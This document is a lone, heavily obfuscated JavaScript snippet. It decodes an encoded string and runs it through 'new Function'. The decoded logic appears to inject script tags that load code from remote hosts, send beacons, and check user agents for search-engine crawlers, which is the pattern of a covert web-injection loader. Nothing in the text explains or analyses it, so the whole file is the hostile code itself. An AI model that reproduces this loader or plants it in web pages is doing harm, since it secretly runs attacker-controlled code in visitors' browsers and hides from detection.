_8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();